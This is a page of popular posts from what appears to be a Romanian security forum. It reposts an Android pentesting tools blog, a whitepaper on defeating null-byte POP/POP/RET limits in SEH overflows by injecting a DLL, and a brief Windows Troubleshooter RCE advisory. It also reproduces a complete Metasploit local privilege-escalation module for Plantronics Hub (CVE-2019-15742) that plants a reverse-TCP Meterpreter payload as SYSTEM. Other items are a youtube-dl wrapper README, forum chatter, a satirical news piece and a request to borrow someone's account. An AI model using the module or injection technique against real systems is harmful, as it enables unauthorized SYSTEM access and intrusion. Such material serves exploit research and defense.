Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 01/20/20 in all areas

  1. Lesser-known Tools for Android Application PenTesting 30 Dec 2019 » pentest Introduction In the past few months, I’ve been doing a lot of android application security assessments. Over time, I became familiar with the different tools, popular or not, that helped me in my assessments. In this post, I’ll list down these not-so-popular tools (in my opinion based on the different sources and blogs that I have read where these tools were not mentioned) that I’m using during my engagements. Note: There’s nothing fancy in this post. Just some tools that I found useful. Magisk While Magisk is a very popular framework and shouldn’t be considered as one of the “lesser-known” tools, it’s important that I mention it here since some of the tools included in this post are either a feature of Magisk or a module that you can install with Magisk. So if you don’t have Magisk on your testing device, make sure to install it now! Magisk Hide Magisk Hide is the first tool that will be discussed since it has saved me a lot of time when bypassing an application’s root detection mechanism. Magisk Hide is one of the features of Magisk, and bypassing root detection is as simple as toggling the switch ON. As an example, let’s try bypassing the root detection mechanism of the PS4 Remote Play app. When running this application on a rooted device, the following error shows up: To bypass the root detection of this application, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Magisk Hide. Select the target application (“PS4 Remote Play” in this case) from the list of applications. Run the app again and we should now be able to launch the PS4 Remote Play without the error. If root detection was still not bypassed after adding the application in the Magiks Hide list, try hiding the Magisk Manager app itself. To do this, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Setting. Then tap the Hide Magisk Manager option. This repackages the Magisk Manager app with a random package name and changes the app name from Magisk Manager to just Manager. Move Certificate Starting with Android Nougat (API Level 24), applications, by default, no longer trust user-added certificate for secure connections. This results in the following errors when capturing HTTPS traffic from an application running on Android Nougat and above. One method to resolve this issue is to add user-installed certificates to the system certificate store. This can be done manually or automatically using the Magisk module Move Certificate. Of course, I prefer the Magisk way! After installing the module, all user-installed certificate will be added automatically to the system certificate store. DisableFlagSecure Sensitive applications, such as mobile bankings, password managers, 2FA apps, etc., do not allow screenshots to be taken for security purposes. As an example, when taking a screenshot of the Aegis Authenticator 2FA app, the following error shows: When testing this kind of applications, taking evidence for findings which require showing the app or its screens is a bit of a hassle. Before, what I would do is to have another phone with me and take a photo of my testing device. This method annoys me because I have to make sure that the photo I’m taking is focused and clear. Plus, it doesn’t look great as evidence in a pentest report. Then I discovered the Xposed module DisableFlagSecure. This module disables the FLAG_SECURE window flag system-wide. FLAG_SECURE is is responsible for preventing screenshots to be taken. After installing DisableFlagSecure from Xposed and rebooting the device, screenshots can now be taken. Smali Patcher If you want to disable FLAG_SECURE “systemless-ly”, this can be done through Magisk with the help of Smali Patcher. After running SmaliPatcher.exe for the first time, it will download the necessary binaries and tools that it needs and will store them in the bin and tmp folders. Before clicking the ADB PATCH button, ensure the following are met: USB Debugging is enabled Device is attached to the PC USB Debugging connection is authorized Desired patch is ticked (Secure flag in this case) Once SmaliPatcher is done running, a zip file will be created on the working directory. Just flash this zip file through Magisk, reboot, and the patch (disabling FLAG_SECURE in this case) will be applied. SmaliPatcher also supports other patches as seen from the “Patch Options” section of the tool. It’s up to the reader to discover these patches. ADB Manager If you’re like me who has several testing devices but has only one cable available for connecting these devices into the computer, or you just hate cables, I found ADB Manager to be very useful. This application allows you to establish an ADB shell via Wi-Fi. Upon opening ADB Manager, just click the Start Network ADB button. To establish an ADB shell to the testing device (make sure USB Debugging is enabled), just type the following commands: adb connect <ip-addr-shown-in-ADB-Manager>:<port-shown-in-ADB-Manager> adb shell ProxyDroid When intercepting traffic from a device, you’ll observe a lot of traffic coming from applications other than the target application. Some of this traffic comes from background services running on the phone, and these unwanted data fill up the proxy history. This causes confusion as to whether a certain HTTP request came from the target application or not. To filter out these unwanted data, the simplest solution is to add the list of target hosts under the proxy’s target scope setting. However, I find this method to be repetitive since I have to do this for every engagement. Also, what if I just wanted to analyze a particular app and I don’t have an idea about the hosts the app is making requests to? Here comes ProxyDroid! Using its Individual Proxy option, you can select specific app or apps which you want to proxy. Under the Individual Proxy setting, just tick the app or apps you want to proxy, then switch ON ProxyDroid and everything should be good. pidcat Some applications write sensitive data, in plain-text format, in the system log. The system log can be viewed using Android’s Logcat utility. By simply running the command adb logcat, it prints out a lot of unnecessary data which makes the analysis very hard and confusing. To remove these unnecessary logs, we can filter Logcat’s output based on the target application using the following one-liner command: adb logcat | grep "$(adb shell ps | grep <target-app-package-name> | awk '{print $2}')" While the above command cleans up the messy Logcat’s default output, my preferred method is by using pidcat. To show log entries for processes from a specific application, just run this simple command: pidcat <target-app-package-name> Aside from the simplicity of running the command, you also have a nice colorful output. resize When typing long commands in an ADB shell, you’ll notice that the terminal size is limited. This is annoying especially when I’m viewing and analysing a file’s contents. Thankfully, BusyBox’s resize binary exists. Just run the command resize and you can now enjoy the full size of your terminal. If you’re testing on a physical device, you can install BusyBox via Playstore or do it “systemless-ly” via Magisk In an emulator which does not have the Google Playstore app, you can install BusyBox with the following commands: wget --no-parent --no-host-directories --cut-dirs 3 -r https://busybox.net/downloads/binaries/1.30.0-i686/ -P /tmp/busybox adb push /tmp/busybox /data/data/busybox adb shell "mount -o rw,remount /system && mv /data/data/busybox /system/bin/busybox && chmod 755 /system/bin/busybox/busybox && /system/bin/busybox/busybox --install /system/bin" Conclusion That’s all. Thanks for reading! Sursa: https://captmeelo.com/pentest/2019/12/30/lesser-known-tools-for-android-pentest.html
    1 point
  2. Hai noroc, Nu prea e activitate pe aici si decat sa postam invitatii, mai bine sa postam ceva util. Sau aia care nu aveti ce posta util, sa va delogati. Sunt curios. Cam ce proiecte personale aveti in desfasurare/planuite? La ce lucrati? Proiecte, certificari, site-uri, jocuri, scripturi, etc. Stiu ca sunt pe aici oameni care chiar au proiecte ok.
    1 point
  3. 1. Preface Structured Exception handlers are commonly exploited when building what’s known as a SEH based buffer overflow, this paper deals with a technique which encompasses DLL injection as a means to bypass a commonly found restriction within the exploitability of an SEH overflow. The practically of this technique is not the highest, as it will require the attacking end-user to have enough privileges to inject malicious additional code into another running process. But it’s highly practical in the sense of producing a proof of concept exploit for a SEH exploit that proves that the vulnerability is fully exploitable and won’t require any sort of additional techniques to bypass other means of restriction, e.g. utilizing an egghunter or a multi-jump to escape restricted space. On sites like exploit-db.com and other sites that revolve around posting exploit proof-of-concept code, researchers will find a large amount of “Local SEH overflows DOS” exploits, where an attacker found a vulnerability but could not bypass what this paper aims to bypass. Utilizing the technique that this paper provides, a researcher will never need to post “Local SEH overflow DOS” proofs-of-concept anymore. They will be able to post a fully weaponized exploit proof-of-concept. This technique can also apply to exploit a standard local buffer overflow if the attacker wants to create a proof of concept that proves the full exploitability capabilities of any type of local buffer overflow. They would just need to use this same sequence to implant a JMP ESP or something of the sort. 2. Understanding local SEH overflows When exploiting a standard SEH overflow via a buffer overflow vulnerability, the goal is to overwrite and take control of the SEH and nSEH handler (the pointer to the next SEH handler on the SEH chain). This is the typical technique used to break out of the SEH chain and to restore execution in means of getting to your shellcode payload. It’s common to use a tool like mona.py to search the program for certain chunks and sequences of code that match up to the order of POP/POP/RETN, which pops the top frame off the stack twice and then returns back. Using a POP/POP/RET is the go-to standard when exploiting a SEH based overflow. 2.a Overwriting the SEH handler By sending a large amount of data to the vulnerable input field, i.g. Sending 50,000 “A”’s, to the buffer will usually result in the programs SEH / nSEH handler being overwritten with the hex equivalent of A, which would turn the handlers into 41414141. This is how the majority of posted DOS SEH vulnerability are found on exploit-db. When these handlers get overwritten, the program will crash. This is how you identify the vulnerability. 2.b Taking control of the SEH & nSEH handlers To calculate the size of the offset & the buffer size of the vulnerable input field, an attacker can use one of the tools provided by the Metasploit project, pattern_create.rb, and pattern_offset.rb to send a unique cyclic pattern and to then find where the pattern overwrites the SEH / nSEH handler. By calculating the exact size of the buffers, you can then send 8 bytes twice to take over both the SEH handler and the nSEH handler. If you properly calculate the buffer size, you can write over the handlers. 2.c Running into a restriction A common restriction to prevent an attacker from fully exploiting a SEH based overflow is to not have any valid and able to be used POP/POP/RET sequence, simply by rendering them all useless by having them all include a null byte in them, that null byte makes it almost impossible to properly exploit the SEH overflow, and if you can’t use the POP/POP/RETs you won’t get any further. When analyzing a program for POP/POP/RETs with mona.py sometimes they will all be pretty much useless for having that null byte in them. As shown below. And this is where this new technique comes into play, this null byte restriction is bypassable. 3. Understanding DLL injection There are a couple of types of DLL injection, this utilizes the “Runtime” injection method, which is a legitimate Win32API usage, using only Win32API functions we can inject a malicious DLL path into other running processes. DLL injection is a very common behavior of malware, with over 40% of malware having the capability to inject itself or other malicious code into running processes, usually to establish persistence on a system. DLL injection is also commonly found in video game cheating, where a user can inject a cheat menu into the game. There are four main steps to injecting a DLL payload into running processes. The steps are simply to first attach and set up a handler to a running process which will allow us to communicate with it. Then you will allocate space in memory in the host (victim) process that you are injecting. Then, you will inject and copy the malicious DLLs path into that host processes allocated space. And finally calling a function with the address of the LoadLibrary function which causes the injected DLL file’s path to be loaded into memory and executed via the infected process. OpenProcess() is responsible for setting up access to a process object and returning a handle to us as a means of communication with the process we select. VirtualAllocEx() is responsible for allocating memory space in the victim process for the malicious DLLs path to be injected. WriteProcessMemory() is responsible for writing the malicious DLL path to the area of memory that has been allocated with the previous step. LoadLibrary() is a kernel32.dll function which is used to load libraries and DLLs at runtime, We can have LoadLibraryA locate the address of kernel32.dll since kernel32.dll is mapped to the same address in almost every process. LoadLibraryA also happens to fit the thread start routine needed by CreateRemoteThread(). From a malware author’s perspective, LoadLibrary registers DLLs with the process, making LoadLibrary easily detected, so an alternative is to load the DLL from memory with something like a reflective DLL attack. Calling CreateRemoteThread() and passing it the address of LoadLibrary causes the injected path of the malicious DLL to be loaded into memory and executed. Alternatives to CreateRemoteThread are calling NtCreateThreadEx or RtlCreateUserThread. From a malware author’s point of view, CreateRemoteThread is highly tracked and flagged by common AV products. This function method also requires a malicious DLL on disk, which is much easier to detect than some alternate DLL injection methods where the DLL is loaded from memory. 4. Bypassing a null byte POP/POP/RET We can bypass the null byte POP POP RET restriction by simple injecting our own POP POP RET from a module of our choice. And without any sort of memory restrictions, we can use this injected module as our module to get a POP POP RET sequence from. What you can do is load up the vulnerable process, inject our new and custom DLL into the process (THIS WILL REQUIRE INJECTION PERMISSIONS). And then use a POP POP RET from our new DLL. 7. Proof-Of-Concept exploit A Proof of concept code can be found at: https://github.com/FULLSHADE/POPPOPRET-nullbyte-DLL-bypass/blob/master/ Nullbyte_PPR_DLL-injection_bypass.py. This exploit will pop a calculator through the vulnerable program. This exploit is taken advantage of a vulnerable input field in the SurfOffline Professional program. It’s vulnerable to a local SEH based overflow. And the injected DLL is “essfunc.dll” from the vulnserver exploit development series. The exploit also is using the alphanumeric encoder from msfvenom via the syntax ‘msfvenom -p windows/exec CMD=calc.exe -b “\x00\x0a\x0d\x0e” -e x86/alpha_mixed -f python -v shellcode EXITFUNC=seh’. An output payload file is created since this is exploiting a local SEH based buffer overflow, within the output file, is a POC exploit for hijacking the SEH handler and using a (special) POP POP RET to escape the next SEH handler in the SEH chain. You need a process PID to inject a DLL into a process, the PID is automatically discovered via the process_injection() function using the psutil Python library for PID discovery. The drop_DLL_disk() function is called which decodes and drops a BASE64 encoded payload DLL, in this case, it’s originally essfunc.dll from vulnserver. After dropping the DLL payload to disk, the DLL is injected into the vulnerable process via the automatically discovered PID. After the new DLL is injected into the vulnerable running process (SurfOffline Professional), the attacker can exploit the vulnerable input field in the “New project” creation tool in SurfOffline Professional. File > New Program > Project Name > OK. This will use the new POP POP RET from the injected DLL to pop a calc.exe. 8. Conclusion Conclusively, this whitepaper covers a new technique that utilizes DLL injection to inject a custom DLL into a running vulnerable process to add a POP POP RET sequence in the scenario that the vulnerable program doesn’t include any null byte free sequences. If the vulnerable program doesn’t have a POP POP RET that you can use, you can use DLL injection to add your own POP POP RET sequence via loading a module. Using this technique you won’t need to stop at posting DOS overflow POC’s on exploit-db, you can use DLL injection to add your own POP POP RET and then prove the full exploitability capabilities of the vulnerable program. Full exploitability meaning you can prove if the exploit would need to use something like an egghunter or a multi-staged jump to escape restricted buffer space after applying the POP POP RET sequence from your injected module. As a reminder, this will require the attacker to have enough privileges to conduct DLL injection. Sources: http://iotsecuritynews.com/bypassing-a-null-byte-pop-pop-ret-sequence/ https://dl.packetstormsecurity.net/papers/bypass/bypassing-nullbyte.pdf
    1 point
  4. Installation Requires Python3 (>=3.5), youtube-dl and ffmpeg/avconv as dependencies. yt-audio can be installed via pip. Arch Linux users can use AUR as well. $ [sudo] pip3 install --upgrade yt-audio Description and Features yt-audio is a command-line program that is used download and manage audio from youtube.com. It is a youtube-dl wrapper program, which means it uses youtube-dl as backend for downloading audio. yt-audio tries to make audio/playlist management easy for users. It is cross-platform (Windows/Linux/MacOS). Features Configure/Setup your own command-line arguments for managing titles/playlists (See usage below) Ability to save each audio/playlist to a different directory (directory specified in argument). Option to keep track of already-downloaded playlist titles with or without archive file. Manage single/playlist audio(s). Usage usage: yt-audio [OPTIONS] REQUIRED_ARGS A simple, configurable youtube-dl wrapper for downloading and managing youtube audio. Required Arguments (Any/all): URL[::DIR] Video/Playlist URL with (optional) save directory [URL::dir] -e, --example1 Example playlist [Custom] --all All [Custom] Arguments Optional Arguments: -h, --help show this help message and exit -v, --version show version and exit --use-archive use archive file to track downloaded titles --use-metadata use metadata to track downloaded titles --output-format [OUTPUT_FORMAT] File output format --ytdl-args [YTDL_ADDITIONAL_ARGS] youtube-dl additional arguments yt-audio requires either URL or custom argument(s) (or both) as mandatory input(s). Custom Arguments yt-audio gives user the ability to setup their own custom arguments for managing/synchronizing audio/playlists. Custom arguments can be configured in yt-audio's (config.ini) configuration file. IMPORTANT NOTE: The user, if required, will have to copy the configuration file as it is not copied during installation. Unix/Linux Users: The default config location is $XDG_CONFIG_HOME/yt-audio/ directory. In case $XDG_CONFIG_HOME is not set, the file can be placed in $HOME/.config/yt-audio/ directory. Windows Users: The default config location is C:\Users\<user>\.config\yt-audio Setting up custom arguments The config file config.ini has URL_LIST[] option where users can specify arguments with corresponding URL and (optional) save directory. It's format is as follows: URL_LIST = [ # "['-short_arg1','--long_arg1','Help Text/Description']::URL::PATH" # PATH (optional) specifies output directory for that particular playlist # PATH should be absoulte directory path # URL: Complete youtube title/playlist URL # These arguments are visible in --help # "['-e','--example1','Example playlist']::URL::PATH", ] URL_LIST takes comma-separated string values. Each string value is formed from 3 components: CLI Argument - Argument to register. It is written in form: ['-short_arg','--long_arg','Help Text/Description'] URL: Youtube playlist/title URL. PATH (optional): Path where this particular playlist/title will be saved. Provide absolute PATH here. All custom arguments are visible in --help [$ yt-audio --help] The default save PATH is $HOME/Music. PATH can be configured by user in config file (OUTPUT_DIRECTORY = <dir>). For playlists, one more directory of <PlaylistName> is created where all playlist records are saved. Keeping track of downloaded titles/playlists yt-audio has an added feature of keeping track of audio files using file's metadata. This removes the requirement of additional archive file to store title(s) info (option provided by youtube-dl). User can specify any of the two ways to keep track of downloaded titles. (By default, downloaded titles are not tracked) Using File Metadata To use file's metadata, pass --use-metadata argument to yt-audio. To use metadata everytime, you can set USE_METADATA = 1 in config file. Metadata method requires following to work: --add-metadata argument to youtube-dl (--add-metadata argument is added by yt-audio by default. If you don't want this, you can re-configure youtube-dl command in config). Known limitations of using metadata method I have tried this method with both MP3 and M4A format. MP3 works fine. M4a does not work. Using Archive File To use archive file method, pass --use-archive argument to yt-audio. To use archive file everytime with yt-audio, you can set USE_ARCHIVE = 1 in config file. This will create 'records.txt' file in title's download location. --use-archive flag simply passes youtube-dl's --download-archive FILE argument to youtube-dl. You can pass your own filename to youtube-dl as well with --ytdl-args \"--download-archive FILE\". More info about '--ytdl-args' argument. # Enable metadata $ yt-audio --use-metadata [URL/custom_args] # Enable archive file - creates records.txt file $ yt-audio --use-archive [URL/custom_args] # Enable archive file - creates archive.txt file $ yt-audio --ytdl-args \"--download-archive FILE\" [URL/custom_args] If both metadata and archive file are enabled, archive file method is used Title/Playlist-specific PATH User can also specify any arbitrary path for a particular playlist/title. This PATH can be specified as URL::PATH. If PATH is not provided, PATH from config file is used. If no path is present in config, $HOME/Music path is used Changing output format Downloaded file's output format can be specified with --output-format argument. Output Template. Default output format is "%(title)s.%(ext)s" Passing additional paramaters to youtube-dl yt-audio gives user the flexibility to pass additional parameters to youtube-dl directly from command-line. Additional arguments can be provided with --ytdl-arguments yt-audio argument. Arguments passed to ytdl-arguments are passed as-it-is to youtube-dl. $ yt-audio `--ytdl-args \"--download-archive FILE --user-agent UA\"` NOTE: Make sure to escape double-quotes " when passing arguments to --ytdl-args. Else the arguments passed to --ytdl-args will be read as input arguments to yt-audio. Modifying default youtube-dl/helper commands The commands used by yt-audio can be modified from config file. Unusual parameters might break the program. If the parameter is legit and should have (ideally) worked but it didn't, please raise an issue. Usage Examples # Synchronizes/downloads --custom1 and --custom2 custom argument URLs and download specified URL as well. $ yt-audio --custom1 --custom2 https://youtube.com/playlist?list=abcxyz # Saves playlist to /my/path/p1/<PlaylistName>/ and single audio to /some/another/path $ yt-audio https://youtube.com/playlist?list=abcxyz::/my/path/p1 https://www.youtube.com/watch?v=abcxyz::/some/another/path # Adding additional youtube-dl arguments # This will append additional arguments to youtube-dl download command $ yt-audio --ytdl-args \"arg1 arg2\" https:youtube.com/abc https://youtube.com/xyz::DIR # Different output format $ yt-audio --output-format "%(display_id)s.%(ext)s" https://youtube.com/... yt-audio defaults The following commands are used by yt-audio to download and manage audio. The commands are configurable using config file. youtube-dl audio download # (-x --print-json -o "$OUTPUT$" $URL$) are mandatory $ youtube-dl -x --print-json --audio-format mp3 --audio-quality 0 --add-metadata --embed-thumbnail -o "$OUTPUT$" $URL$ get playlist/URL info $ youtube-dl --flat-playlist -J $PLAYLIST_URL$ get file's metadata (used when downloaded titles are tracked using metadata) $ ffprobe -v quiet -print_format json -show_format -hide_banner "$PATH$" Limitations Keeping track of downloaded tracks works with youtube.com only (for now). Bugs/Issues Please create issue for the same. I'm open to suggestions as well Contact Feel free get in touch with me via Twitter or Email. License MIT Source
    1 point
  5. A flaw in the implementation of Microsoft's Troubleshooter technology could lead to remote code execution if a crafted .diagcab file is opened by the victim. The exploit leverages a rogue webdav server to trick MSDT to drop files to attacker controller locations on the file system. Source
    1 point
  6. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Post::File include Post::Windows::Priv include Post::Windows::Services include Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation', 'Description' => %q{ The Plantronics Hub client application for Windows makes use of an automatic update service `SpokesUpdateService.exe` which automatically executes a file specified in the `MajorUpgrade.config` configuration file as SYSTEM. The configuration file is writable by all users by default. This module has been tested successfully on Plantronics Hub version 3.13.2 on Windows 7 SP1 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Markus Krell', # Discovery and PoC 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-15742'], ['EDB', '47845'], ['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf'] ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2019-08-30', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0)) register_advanced_options [ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]), ] end def base_dir datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s end def service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning 'Unable to enumerate Windows services' return false end if srv_info && srv_info[:display].empty? return false end true end def check service = 'PlantronicsUpdateService' unless service_exists? service return CheckCode::Safe("Service '#{service}' does not exist") end path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G" unless exists? path return CheckCode::Safe("Directory '#{path}' does not exist") end CheckCode::Detected end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_system? fail_with Failure::BadConfig, 'Session already has SYSTEM privileges' end payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe" payload_exe = generate_payload_exe vprint_status "Writing payload to #{payload_path} ..." write_file payload_path, payload_exe register_file_for_cleanup payload_path config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config" vprint_status "Writing configuration file to #{config_path} ..." write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}" register_file_for_cleanup config_path end end Source
    1 point
  7. "Dupa o analiza detaliata a colegilor mei, am reusit sa il identificam si sa il aducem in fata justitiei pe hacker-ul Acrutzzu1971, liderul gruparii PentaGuard, urmand ca si ceilalti membrii ai gruparii sa fie cercetati." explica Gabriel Storcos, STS. “Sunt hacker de mai bine de 30 de ani, de când calculatoarele erau cât frigiderele, funcţionau cu cartele perforate şi trebuia să pătrunzi în ele cu flexul. Niciodată nu m-am confruntat însă cu un sistem de securitate atât de puternic”, mărturiseşte Acrişor, cunoscut în lumea hackerilor ca Acrutzzu1971, liderul gruparii PentaGuard. Vulnerabilitatea pe care acesta a folosit-o este un 0day, care dateaza din anul 2013, cunoscu ca Constructor.MSIL.Coailer.a sau Coailii. sursa: https://stirileprotv.ro/stiri/actualitate/hackerul-gruparii-pentaguard-arestat-coailier.html
    1 point
  8. Oh, legalizarea prostitutiei? Nu mai bine cereau si ei legalizarea ierbii? Nu de alta, dar sunt sigur ca tara se va schimba daca niste astfel de persoane iau astfel de aciuni asupra unor site-uri aleatoare de prin Romania. </ironie>
    1 point
  9. 1 point
  10. Guys!!! Am înțeles că nu poți să-ți mai faci cont pe filelist și am mare nevoie de unul singura opțiune e să împrumut contul altcuiva? help meeee
    -1 points
×
×
  • Create New...